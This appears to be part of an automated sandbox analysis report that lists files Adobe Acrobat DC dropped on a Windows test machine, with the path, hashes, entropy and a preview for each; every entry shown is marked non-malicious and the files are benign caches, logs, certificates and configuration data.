SHA-512:	4E3AFE447BA089DB03C1B4E63F480C38D03547BCB5F3B4A574ECDBB52F42D1C6DCA62119DC077CBCE6DE4E1BE367178EF6A6153B050BFECB7276FDEFAC07F940
Malicious:	false
Preview:	2025/01/11-00:07:53.450 1ec0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-00:07:53.451 1ec0 Recovering log #3.2025/01/11-00:07:53.452 1ec0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.121628872418575
Encrypted:	false
SSDEEP:	6:iOHDq4Aq2PcNwi2nKuAl9OmbzNMxIFUtpDGhZmwjDEUkwOcNwi2nKuAl9OmbzNMT:7HDrAvLZHAa8jFUtpDGh/jDEU54ZHAab
MD5:	CAEF202ED9D3886CE97C128116B2D4A1
SHA1:	910F74F62C8C99CFC45E723D7F540446474EBCC4
SHA-256:	D242C8FA70552354C3CCFCA726CDFA0F16D4BD65D08457EE216009DC4DA557D9
SHA-512:	4E3AFE447BA089DB03C1B4E63F480C38D03547BCB5F3B4A574ECDBB52F42D1C6DCA62119DC077CBCE6DE4E1BE367178EF6A6153B050BFECB7276FDEFAC07F940
Malicious:	false
Preview:	2025/01/11-00:07:53.450 1ec0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-00:07:53.451 1ec0 Recovering log #3.2025/01/11-00:07:53.452 1ec0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438504960272045
Encrypted:	false
SSDEEP:	384:yeaci5GSiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:1CurVgazUpUTTGt
MD5:	EC0E833769CD807B03E0B6F35BE3346E
SHA1:	08A79B11717E50894F273F4EA9E75735E1BC93C4
SHA-256:	19BECFFB4030EB437279925528BD732898A4A8F5475BA4099E68142892C348C1
SHA-512:	8D21FE69AD9956FF10270A2D2B21FEB166FB1E9E466CECACDA3977DC8EB10836BCE633D617B7E2622C7F259DE871BF7C123EDD0F8DD1831043D00D2500F42C2F
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.775236661599966
Encrypted:	false
SSDEEP:	48:7M8p/E2ioyVCxioy3DoWoy1CABoy116KOioy1noy1AYoy1Wioy1hioybioyDuoyA:7/pju40iAUXKQr0b9IVXEBodRBk5
MD5:	91ED18E73E5D32FB56A533B3421F0B87
SHA1:	504DCD1724B975ECE0FD2D6793769AA735EA86C5
SHA-256:	A606531F4BC345B4D4331D55A15804245E784B06DDC9BAF33A408D0ED92209E4
SHA-512:	1DB46F5451E13F50990D23AF0CBA9113B499C1F2F0D21F71DA807E2E54FD42EF40C982B9D4654B18F32EA3C953C6112D0A3AC51F94ADC673BCE83BFF96E84B6D
Malicious:	false
Preview:	.... .c.......!W...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.721719867432539
Encrypted:	false
SSDEEP:	3:kkFklBKKytfllXlE/HT8kzzXNNX8RolJuRdxLlGB9lQRYwpDdt:kKnNeT86RNMa8RdWBwRd
MD5:	590444956E9D96FDDEA59C1A09F3590B
SHA1:	21D967043CF385821F39F42076794184BE9C691D
SHA-256:	28785AB778FA15986A7089EDAD231680FB6F191A1B401AAEB00F60F53E0AFDBA
SHA-512:	AC5D8BFEF0ADC23F8AF9F12A085267B010882E2267996D904CB90BA999BD412D33557CABEF378BEEFCDEA9C469D9AED5D514FA91CF989CFE058923E9BD68BE48
Malicious:	false
Preview:	p...... ........r/...c..(....................................................... ..........W.....j..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.230795304831838
Encrypted:	false
SSDEEP:	6:kKsL/L9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:8iDImsLNkPlE99SNxAhUe/3
MD5:	AFF59B689961380986CF7B57978AE47E
SHA1:	5B433C29EE1E9C2210AA1AA7CD46A0AFDE401028
SHA-256:	2D586B1B588F3F858BD6804ED7AFD4929B4385B32F741039FC5722035841FEE7
SHA-512:	CC1C492EBA37EA7C709E47BCEC034F55DFCDB27B8D3125D5A5662E9A92D1913153394963FF51FF206A1E3ABCC1C9E87169B88560B66A438ECB2DAF25F82B8548
Malicious:	false
Preview:	p...... ..........X..c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7428

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7428

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.339566347743211
Encrypted:	false
SSDEEP:	6:YEQXJ2HXtTi0vH4WsGiIPEeOF0YwjaoAvJM3g98kUwPeUkwRe9:YvXKXtTvvHbsdTeOepGMbLUkee9
MD5:	90975EE88C315EB41AD5C3D687C4DC95
SHA1:	77B5D7290D208A9FEC8A0B2B07A343A89A430907
SHA-256:	FB6C6649BBBA3CA1CC474F04CE897B1F88008FEA1054F4A9B61F86686C90C452
SHA-512:	62EA6B05451C0291A941739D2D1532D4529226313D6365881ACA6D3F3A5A2F8EBFEF96A316845892471F80A5B7CD82D54710C491D771161F32371F91FE0ACC71
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"906e1f3a-665e-4119-ae5c-a7ec7ea5e984","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736746608259,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.2704016401800775
Encrypted:	false
SSDEEP:	6:YEQXJ2HXtTi0vH4WsGiIPEeOF0YwjaoAvJfBoTfXpnrPeUkwRe9:YvXKXtTvvHbsdTeOepGWTfXcUkee9
MD5:	7C6B4F8F3CDB46ED4034C05BAD228CA6
SHA1:	E9577C83AA79EAD4E8D1930C83DC418111B41B5E
SHA-256:	3C94490093DC6CA2E0E0AFE2DE8DE7BF0BC5988647E072771BE5FC339945C6EB
SHA-512:	08FED7B058D1EA32E29CE2E0609DA45248D9FE4EEE91B811120B4D66EFEDC34761F5BC98EA6149B164AA940EA67B552E7D8429BB70EB780169C0231DE8BB09E0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"906e1f3a-665e-4119-ae5c-a7ec7ea5e984","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736746608259,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.249960324076697
Encrypted:	false
SSDEEP:	6:YEQXJ2HXtTi0vH4WsGiIPEeOF0YwjaoAvJfBD2G6UpnrPeUkwRe9:YvXKXtTvvHbsdTeOepGR22cUkee9
MD5:	E40766B1DE7D8740C35955463B78B74B
SHA1:	7E3586374A5CDDB1536631F3D7A412902A2462D3
SHA-256:	EF94BB88078ACD64C26A57D6DA2ABD47F8C05925AF401C8D42C46E7B25BA7BC2
SHA-512:	A82C37A63F1EA642ECB6FD31CA70A52268FA61732DCA2BFC3D08E7B45AA3009FDB32CB8207CC5A130787965617B782B32E1F808C8BCCA203AA25A8C029B20116
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"906e1f3a-665e-4119-ae5c-a7ec7ea5e984","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736746608259,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.325609667088412
Encrypted:	false
SSDEEP:	6:YEQXJ2HXtTi0vH4WsGiIPEeOF0YwjaoAvJfPmwrPeUkwRe9:YvXKXtTvvHbsdTeOepGH56Ukee9
MD5:	15C32DC4D39A5EBB77754AF7F916184F
SHA1:	E4F3474AA96EE6063EF397E749A6DBE2C95F25B8
SHA-256:	147F54A55A6B1467D5C85A345A2294357AB4737803BE976A5E042937E1EEB8B0
SHA-512:	FD1E6D8F3C107D56E43BC36EBEEDB1DC2B515F5AB996C5EE12A537C37116E22C63121D1A6E24385BBF6040AE8F140E8A1D5895B404AA664D37E10D312DFBA2E4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"906e1f3a-665e-4119-ae5c-a7ec7ea5e984","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736746608259,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.683826397051091
Encrypted:	false
SSDEEP:	24:Yv6XhTmeOXpLgE9cQx8LennAvzBvkn0RCmK8czOCCSJn:Yvcyekhgy6SAFv5Ah8cv/Jn
MD5:	09F060AB2AD3AD59C7A1A3168A8DD47F
SHA1:	27796A59568205982270EABBE9CDA64A851E491F
SHA-256:	AEFDBB078360183CE799A8948453F8B9CB87433987A4294C22CDEA4AD0298354
SHA-512:	7552EC2C2D7041F6A9D7553C70FBECA5BF2A290F4EFEDAA95116D1AF2423643A22279302407ADFD77FA2314FF9FD5C8B36AE38992CE7F75BE7C1EBA7946F54E2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"906e1f3a-665e-4119-ae5c-a7ec7ea5e984","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736746608259,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.259850730282306
Encrypted:	false
SSDEEP:	6:YEQXJ2HXtTi0vH4WsGiIPEeOF0YwjaoAvJf8dPeUkwRe9:YvXKXtTvvHbsdTeOepGU8Ukee9
MD5:	E0E01BD6D1FC9DD791AA52DD62172BBE
SHA1:	4A1C345E42CAABF65766332B89A2714701215E2B
SHA-256:	F56924AF6581BE2B9FE762AF5C9B22DC90E6BB3C10840AB7E383B0D9C2BD53EA
